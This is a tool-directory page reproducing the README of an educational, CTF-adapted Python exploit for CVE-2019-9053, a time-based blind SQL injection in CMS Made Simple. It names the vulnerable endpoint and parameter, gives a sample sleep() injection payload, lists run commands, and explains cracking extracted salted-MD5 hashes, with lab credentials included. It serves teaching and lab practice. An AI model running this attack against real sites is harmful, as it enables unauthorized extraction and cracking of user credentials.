Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/rideckszz/poc-cve-2019-9053
Password CrackingVulnerability AnalysisWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrideckszz/poc-cve-2019-9053

poc-CVE-2019-9053

PoC didático em Python 3 para a CVE-2019-9053, uma SQL Injection time-based blind no CMS Made Simple <= 2.2.9. Esta versão foi adaptada para uso em CTF/laboratório, com prefixos pré-configurados para reduzir o tempo de extração e mensagens explicativas em português.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
153 months agoNot yet reviewed

PoC CVE-2019-9053 - CMS Made Simple SQL Injection

Educational PoC in Python 3 for CVE-2019-9053, a time-based blind SQL Injection vulnerability in CMS Made Simple <= 2.2.9.

This version has been modified for use in CTF/lab environments. It includes pre-configured prefixes to reduce extraction time and explanatory messages in Portuguese to help students understand how the exploit works.

Warning

This project is intended exclusively for educational purposes, controlled lab environments, and CTF challenges.

Do not use this code against third-party systems without explicit authorization.

The author of this repository is not responsible for any misuse of this material.

Vulnerability

CVE-2019-9053 affects older versions of CMS Made Simple, allowing unauthenticated SQL Injection via the m1_idlist parameter at the endpoint:

root@kitploit:~
/moduleinterface.php?mact=News,m1_,default,0

Since the SQL query result does not appear directly on the page, the exploit uses a technique called time-based blind SQL Injection.

How the exploit works

The exploit sends payloads that cause the database to execute sleep(1) when a condition is true.

Conceptual example:

root@kitploit:~
AND (
  SELECT sleep(1)
  FROM cms_users
  WHERE password LIKE '0c01%'
)

If the server delays in responding, the script understands that the tested prefix is correct.

Thus, it reconstructs sensitive information character by character, such as:

  • Password salt
  • Username
  • Email
  • Password hash

In this CTF version, some prefixes have already been included in the code to reduce the time needed during the activity.

What is a time-based blind SQL Injection?

An SQL Injection occurs when the application inserts user-controlled data into an SQL query without proper sanitization.

In this case, the injection is blind because the query result does not appear directly in the HTTP response.

It is time-based because the attacker uses the server response time as a communication channel. If the tested condition is true, the database executes a delay with sleep(). If false, the response comes normally.

Simplified example:

root@kitploit:~
Pergunta feita pelo exploit:
"O hash da senha começa com 0c01?"

Se sim:
O banco executa sleep(1), e a resposta demora.

Se não:
A resposta vem sem atraso perceptível.

By repeating this process character by character, the exploit can reconstruct database values even without seeing them directly on the page.

What is salt?

A salt is an extra value used together with the password before generating the hash.

In this challenge, CMS Made Simple uses logic similar to:

root@kitploit:~
md5(salt + password)

For example:

root@kitploit:~
salt = 1dac0d92e9fa6bb2
password = exemplo123

The hash would be calculated from:

root@kitploit:~
1dac0d92e9fa6bb2exemplo123

The salt serves to hinder attacks with precomputed tables and to ensure that identical passwords can generate different hashes in different contexts.

Nevertheless, md5(salt + password) is an old and weak method of password storage. Modern systems should use dedicated password hashing algorithms, such as:

  • Argon2
  • bcrypt
  • scrypt
  • PBKDF2

Modifications of this CTF version

This version has been adapted to facilitate use in a hands-on activity.

Main changes:

  • Code updated to Python 3.
  • Explanatory banner in Portuguese.
  • Brief terminal explanation about how the exploit works.
  • Known prefixes to speed up extraction.
  • Charset optimized for salt and hash in hexadecimal.
  • Size limit for salt and hash.
  • Cracking option with wordlist.

Values used in the challenge:

root@kitploit:~
Salt completo: 1dac0d92e9fa6bb2
Username: mitch
Email: [email protected]
Hash completo: 0c01f4468bd75d7a84c7eb73846e8d96

Prefixes configured in the exploit:

root@kitploit:~
Salt prefix: 1dac0d92
Username prefix: mit
Email prefix: admin@
Hash prefix: 0c01f446

These prefixes do not remove the attack logic. They only reduce the time required for the lab activity.

Repository structure

root@kitploit:~
poc-CVE-2019-9053/
├── exploit_ctf.py
├── requirements.txt
├── README.md
├── wordlist-example.txt
└── .gitignore

Requirements

  • Python 3
  • requests
  • termcolor

Installation

Clone the repository:

root@kitploit:~
git clone https://github.com/SEU_USUARIO/poc-CVE-2019-9053.git
cd poc-CVE-2019-9053

Create a virtual environment:

root@kitploit:~
python3 -m venv .venv

Activate the virtual environment:

root@kitploit:~
source .venv/bin/activate

Install the dependencies:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

The requirements.txt file should contain:

root@kitploit:~
requests
termcolor

Usage

Simple execution:

root@kitploit:~
python3 exploit_ctf.py -u http://target/cms

Execution with password cracking attempt using a wordlist:

root@kitploit:~
python3 exploit_ctf.py -u http://target/cms --crack -w wordlist-example.txt

See script help:

root@kitploit:~
python3 exploit_ctf.py -h

Example wordlist

The wordlist-example.txt file can contain:

root@kitploit:~
wrongpassword
admin123
dieema123
password
123456

Example expected output

root@kitploit:~
[+] Salt da senha encontrado: 1dac0d92e9fa6bb2
[+] Username encontrado: mitch
[+] Email encontrado: [email protected]
[+] Hash da senha encontrado: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Senha encontrada: dieema123

Explanation of cracking

After the exploit extracts the password salt and hash, it can attempt to discover the plaintext password using a wordlist.

The tested logic is:

root@kitploit:~
md5(salt + senha_candidata)

For each password in the wordlist, the script computes the hash and compares it with the hash extracted from the database.

Conceptual example:

root@kitploit:~
candidate_hash = md5("1dac0d92e9fa6bb2" + "dieema123")

If the result matches the extracted hash, the password has been found.

Notes on execution time

Time-based SQL Injection is usually slow, because each character needs to be tested over multiple requests.

This version reduces time by using:

  • Known prefixes.
  • Hexadecimal charset for salt and hash.
  • Known maximum size for salt and hash.
  • 1-second delay per correct character.

Even so, the time may vary depending on:

  • Network latency.
  • Server load.
  • Database performance.
  • Value configured in TIME_DELAY.

If there are many false positives or false negatives, increase the TIME_DELAY value in the code.

Credits

Python 3 version modified for CTF by Derick G. Andrighetti.

Based on an old public PoC in Python 2 originally published by Daniele Scanu, from Certimeter Group.

Reference

  • CVE-2019-9053
  • CMS Made Simple <= 2.2.9
  • Technique: time-based blind SQL Injection

License

Educational use.

This material was produced for study purposes, lab demonstration, and CTF activities.

Download Tool